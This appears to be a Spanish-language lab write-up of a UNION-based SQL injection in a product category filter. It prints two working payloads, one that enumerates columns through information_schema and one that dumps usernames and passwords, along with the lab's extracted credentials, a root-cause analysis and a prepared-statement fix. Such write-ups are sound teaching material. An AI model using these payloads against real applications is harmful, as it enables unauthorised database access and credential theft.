UNION-based SQLi: enumeración de tablas y columnas vía information_schema (no-Oracle)
Enumeración completa del esquema con UNION-based SQLi en el filtro de categoría: information_schema.columns para descubrir la tabla users y extraer credenciales.
1. Target Overview & Vulnerability Summary
El filtro de categoría de producto (/filter?category=...) es inyectable y refleja los resultados de la consulta en la respuesta, permitiendo un ataque UNION-based para recuperar datos de otras tablas. El objetivo es descubrir el nombre de la tabla que almacena usuarios/credenciales y sus columnas, y drenar su contenido.
| Severidad | Endpoint vulnerable | Root cause |
|---|---|---|
| High | GET /filter?category=... |
Concatenación del parámetro category en la cláusula WHERE; los resultados se reflejan en la respuesta, habilitando UNION |
2. Technical Breakdown & Exploitation Flow
2.1 Descubrimiento de columnas de la tabla de usuarios
La query original devuelve 2 columnas (misma forma que el lab "retrieving data from other tables"). Consultando information_schema.columns, primero se localiza la tabla users_lgsuyb (nombre aleatorio por instancia) y luego se enumeran sus columnas:
' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users_lgsuyb'-- -
Salida reflejada:
email
username_ipwojh
password_vmjbdd
2.2 Extracción de credenciales
Las columnas de usuario y password se concatenan con || ':' || en una sola columna de salida para maximizar la legibilidad:
' UNION SELECT NULL,username_ipwojh||':'||password_vmjbdd FROM users_lgsuyb-- -
Credenciales drenadas:
carlos:6zhkdtxd391fbmmmsa2d
wiener:k96ds7iqpocuxczboesn
administrator:yuaf9310pfrb9i1eksbd
Con la credencial de administrator se resuelve el lab vía el login.
3. Root Cause Analysis
La query del filtro se construye por interpolación:
SELECT column1, column2 FROM products WHERE category = 'Gifts'
Al no usarse prepared statements, el cierre de comilla del literal permite inyectar UNION SELECT y componer filas arbitrarias que el ORM/framework serializa en el HTML de la lista de productos. El -- - comenta el cierre original del string. La exposición completa de information_schema.columns (accesible al usuario de la app) convierte el esquema en público para el atacante: bastan dos queries para descubrir el nombre aleatorio de tabla, sus columnas y drenarlas.
4. Secure Remediation
Parametrización de la query del filtro:
String sql = "SELECT column1, column2 FROM products WHERE category = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, category);
Defensa en profundidad:
- Ejecutar la aplicación con un rol de BD sin acceso de lectura a
information_schema.columnsni a tablas fuera del schema de productos (principio de menor privilegio). Esto rompe el paso de enumeración de esquema incluso ante una inyección remanente. - No reflejar columnas de usuario en vistas públicas; sanitizar el render si la lista de productos es la única superficie.